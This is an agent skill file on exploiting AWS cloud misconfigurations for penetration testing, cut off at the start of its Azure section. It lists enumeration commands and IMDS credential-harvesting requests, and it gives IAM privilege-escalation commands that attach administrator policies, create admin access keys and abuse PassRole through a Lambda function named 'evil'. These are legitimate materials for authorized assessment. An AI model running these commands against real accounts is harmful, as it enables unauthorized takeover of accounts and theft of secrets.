/exploiting-cloud-platforms

name: exploiting-cloud-platforms
description: Exploit AWS, Azure, and GCP cloud misconfigurations including S3 buckets, IAM roles, metadata services, serverless functions, and cloud-specific privilege escalation. Use when pentesting cloud environments or assessing cloud security.
verified: 2026-07-27

Exploiting Cloud Platforms

When to Use

• AWS, Azure, or GCP security assessment
• Cloud misconfiguration exploitation
• S3/Blob/Storage bucket hunting
• Cloud IAM privilege escalation
• Serverless function exploitation
• Cloud metadata service abuse

When NOT to Use

• **On-premises Active Directory** — use `attacking-active-directory`
• **Container and Kubernetes internals** — use `exploiting-containers`
• **IaC and pipeline review from source** — use `auditing-supply-chain`
• **Investigating a cloud compromise** — use `responding-to-incidents`
• **Hardening an account's posture rather than attacking it** — use

`hardening-cloud-posture`

Route to a Depth Skill

Cloud has grown several attack surfaces deep enough to warrant their own procedure skill. When the assessment narrows to one of these, switch — the IAM-and-storage methodology here does not carry their specific detail.

| Signal | Skill | | --- | --- | | Entra ID / Azure AD as the identity target: tokens, PRTs, consent grants, hybrid sync | `attacking-entra-id` | | A managed Kubernetes cluster (EKS/GKE/AKS): pod-to-cloud IMDS, IRSA/Workload Identity, k8s RBAC | `attacking-eks-gke-aks` | | Lambda / Azure Functions / Cloud Functions / Workers: event injection, execution-role abuse | `attacking-serverless` | | CI/CD pipeline with OIDC federation to the cloud: broad trust policies, runner compromise | `abusing-ci-cd-oidc` |

AWS Security

AWS CLI Setup

# Configure credentials
aws configure
# Or export directly
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1

# Test credentials
aws sts get-caller-identity

# List available regions
aws ec2 describe-regions

S3 Bucket Enumeration

# List buckets
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name/
aws s3 ls s3://bucket-name/ --recursive

# Download bucket contents
aws s3 sync s3://bucket-name/ ./local-folder/

# Check public access
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# Test unauthenticated access
aws s3 ls s3://bucket-name/ --no-sign-request
curl https://bucket-name.s3.amazonaws.com/

**S3 Bucket Discovery:**

# Common naming patterns
company-backup
company-data
company-dev
company-prod
company-logs
company-assets

# Tools
# s3scanner
python3 s3scanner.py buckets.txt

# S3 Inspector
python3 s3inspector.py --bucket-file buckets.txt

IAM Enumeration

# Current user info
aws sts get-caller-identity

# List IAM users (if allowed)
aws iam list-users

# List user policies
aws iam list-attached-user-policies --user-name username
aws iam list-user-policies --user-name username

# Get policy details
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/PolicyName
aws iam get-policy-version --policy-arn arn --version-id v1

# List roles
aws iam list-roles

# List groups
aws iam list-groups

EC2 Enumeration

# List instances
aws ec2 describe-instances

# Get instance metadata (from instance)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# List security groups
aws ec2 describe-security-groups

# List key pairs
aws ec2 describe-key-pairs

# List snapshots
aws ec2 describe-snapshots --owner-ids self

# Public snapshots by account
aws ec2 describe-snapshots --owner-ids 123456789012 --restorable-by-user-ids all

Lambda Functions

# List functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name function-name

# Invoke function
aws lambda invoke --function-name function-name output.txt

# Get function configuration
aws lambda get-function-configuration --function-name function-name

RDS Enumeration

# List DB instances
aws rds describe-db-instances

# List DB snapshots
aws rds describe-db-snapshots

# Check if publicly accessible
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,PubliclyAccessible]'

Secrets Manager

# List secrets
aws secretsmanager list-secrets

# Get secret value
aws secretsmanager get-secret-value --secret-id secret-name

CloudTrail (Logging)

# Check if CloudTrail is enabled
aws cloudtrail describe-trails

# Check trail status
aws cloudtrail get-trail-status --name trail-name

# Get recent events
aws cloudtrail lookup-events

AWS Privilege Escalation

**Common Misconfigurations:**

# iam:CreatePolicyVersion - modify existing policies
# iam:SetDefaultPolicyVersion - set older policy version
# iam:PassRole + lambda:CreateFunction - execute code as role
# iam:AttachUserPolicy - attach admin policy to self
# iam:PutUserPolicy - add inline policy to self
# iam:CreateAccessKey - create keys for other users
# iam:UpdateAssumeRolePolicy - modify trust relationships

**Exploitation Examples:**

# Create access key for admin user (if iam:CreateAccessKey)
aws iam create-access-key --user-name admin-user

# Attach admin policy (if iam:AttachUserPolicy)
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# PassRole + Lambda
aws lambda create-function --function-name evil --runtime python3.9 --role arn:aws:iam::ACCOUNT:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name evil output.txt

Azure Security

Azure CLI setup, Blob storage, VM/Azure AD enumeration, Function Apps, Key Vault, and metadata se